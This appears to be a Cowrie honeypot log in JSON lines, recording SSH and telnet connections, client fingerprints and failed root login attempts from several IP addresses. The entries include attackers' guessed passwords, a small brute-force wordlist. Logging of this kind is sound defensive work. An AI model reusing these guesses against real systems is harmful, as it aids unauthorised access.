{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:06.156355Z","src_ip":"43.153.54.120","session":"beceebce5423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"GBHalso98","message":"login attempt [root/GBHalso98] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:06.459125Z","src_ip":"43.153.54.120","session":"beceebce5423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:07.531129Z","src_ip":"43.153.54.120","session":"beceebce5423","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.36332988739014,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:08.565685Z","src_ip":"152.42.224.71","session":"a24a28663fc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":38092,"dst_ip":"159.203.135.109","dst_port":22,"session":"073857feb737","protocol":"ssh","message":"New connection: 43.156.227.3:38092 (159.203.135.109:22) [session: 073857feb737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:09.863137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:09.868544Z","src_ip":"43.156.227.3","session":"073857feb737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:10.106360Z","src_ip":"43.156.227.3","session":"073857feb737","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxxx","message":"login attempt [root/xxxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:11.086556Z","src_ip":"43.156.227.3","session":"073857feb737","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:12.327854Z","src_ip":"43.156.227.3","session":"073857feb737","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58888,"dst_ip":"10.17.0.5","dst_port":22,"session":"75d6d7b2c4ee","protocol":"ssh","message":"New connection: 193.37.70.224:58888 (10.17.0.5:22) [session: 75d6d7b2c4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:13.895403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:13.909756Z","src_ip":"193.37.70.224","session":"75d6d7b2c4ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38878,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b6494dded4c","protocol":"telnet","message":"New connection: 152.42.224.71:38878 (10.17.0.5:23) [session: 0b6494dded4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:13.914236Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:14.004568Z","src_ip":"193.37.70.224","session":"75d6d7b2c4ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deathnote","message":"login attempt [root/deathnote] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:14.290342Z","src_ip":"193.37.70.224","session":"75d6d7b2c4ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.01720595359802,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:14.466406Z","src_ip":"152.42.224.71","session":"79f6d7b99fd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:15.393742Z","src_ip":"193.37.70.224","session":"75d6d7b2c4ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00093340873718,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:15.619979Z","src_ip":"152.42.224.71","session":"44a6bf299a31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.19864368438721,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:16.537376Z","src_ip":"152.42.224.71","session":"68bc104d991d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56456,"dst_ip":"10.17.0.5","dst_port":23,"session":"033ab2f803ab","protocol":"telnet","message":"New connection: 152.42.224.71:56456 (10.17.0.5:23) [session: 033ab2f803ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:17.122238Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56460,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c4eb4991017","protocol":"telnet","message":"New connection: 152.42.224.71:56460 (10.17.0.5:23) [session: 7c4eb4991017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:18.442237Z"}
{"eventid":"cowrie.session.closed","duration":26.773694038391113,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:20.136517Z","src_ip":"152.42.224.71","session":"f65dadf8ed81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56464,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd377ad32f7e","protocol":"telnet","message":"New connection: 152.42.224.71:56464 (10.17.0.5:23) [session: bd377ad32f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:21.759162Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":58534,"dst_ip":"159.203.135.109","dst_port":22,"session":"6db3248c3026","protocol":"ssh","message":"New connection: 94.230.136.33:58534 (159.203.135.109:22) [session: 6db3248c3026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:22.183438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:22.188236Z","src_ip":"94.230.136.33","session":"6db3248c3026","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:22.337648Z","src_ip":"94.230.136.33","session":"6db3248c3026","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.4610812664032,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:22.946182Z","src_ip":"152.42.224.71","session":"1908eecb2b7b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"*&#@#&%","message":"login attempt [root/*&#@#&%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:22.958925Z","src_ip":"94.230.136.33","session":"6db3248c3026","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:24.109300Z","src_ip":"94.230.136.33","session":"6db3248c3026","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.33859944343567,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:24.363480Z","src_ip":"152.42.224.71","session":"1cb195f7e9f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56478,"dst_ip":"10.17.0.5","dst_port":23,"session":"90f7f380eed0","protocol":"telnet","message":"New connection: 152.42.224.71:56478 (10.17.0.5:23) [session: 90f7f380eed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:24.946953Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56490,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae626a19d606","protocol":"telnet","message":"New connection: 152.42.224.71:56490 (10.17.0.5:23) [session: ae626a19d606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:24.987831Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":32974,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf5ad26cdc75","protocol":"ssh","message":"New connection: 119.28.115.94:32974 (159.203.135.109:22) [session: cf5ad26cdc75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:25.485232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:25.490670Z","src_ip":"119.28.115.94","session":"cf5ad26cdc75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:25.736364Z","src_ip":"119.28.115.94","session":"cf5ad26cdc75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.047459840774536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:26.060033Z","src_ip":"152.42.224.71","session":"0c4aa31f6c0a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxcvbnm,.","message":"login attempt [root/1qazxcvbnm,.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:26.744407Z","src_ip":"119.28.115.94","session":"cf5ad26cdc75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43854,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d424585a0e8","protocol":"telnet","message":"New connection: 152.42.224.71:43854 (10.17.0.5:23) [session: 5d424585a0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:27.831939Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:27.995842Z","src_ip":"119.28.115.94","session":"cf5ad26cdc75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47016,"dst_ip":"159.203.135.109","dst_port":22,"session":"b564da9bfa32","protocol":"ssh","message":"New connection: 31.40.204.166:47016 (159.203.135.109:22) [session: b564da9bfa32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:28.372180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:28.377204Z","src_ip":"31.40.204.166","session":"b564da9bfa32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43862,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8003a40ba60","protocol":"telnet","message":"New connection: 152.42.224.71:43862 (10.17.0.5:23) [session: d8003a40ba60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:28.492916Z"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:28.504493Z","src_ip":"31.40.204.166","session":"b564da9bfa32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":26812,"dst_ip":"159.203.135.109","dst_port":22,"session":"12d179742d06","protocol":"ssh","message":"New connection: 101.36.108.213:26812 (159.203.135.109:22) [session: 12d179742d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:30.166659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:30.173018Z","src_ip":"101.36.108.213","session":"12d179742d06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:30.392659Z","src_ip":"101.36.108.213","session":"12d179742d06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"terry","message":"login attempt [root/terry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:31.269623Z","src_ip":"101.36.108.213","session":"12d179742d06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43866,"dst_ip":"10.17.0.5","dst_port":23,"session":"c60004559f80","protocol":"telnet","message":"New connection: 152.42.224.71:43866 (10.17.0.5:23) [session: c60004559f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:31.592675Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:32.489148Z","src_ip":"101.36.108.213","session":"12d179742d06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.57543587684631,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:18:33.641644Z","src_ip":"152.42.224.71","session":"a5201eb3d131","protocol":"telnet"}
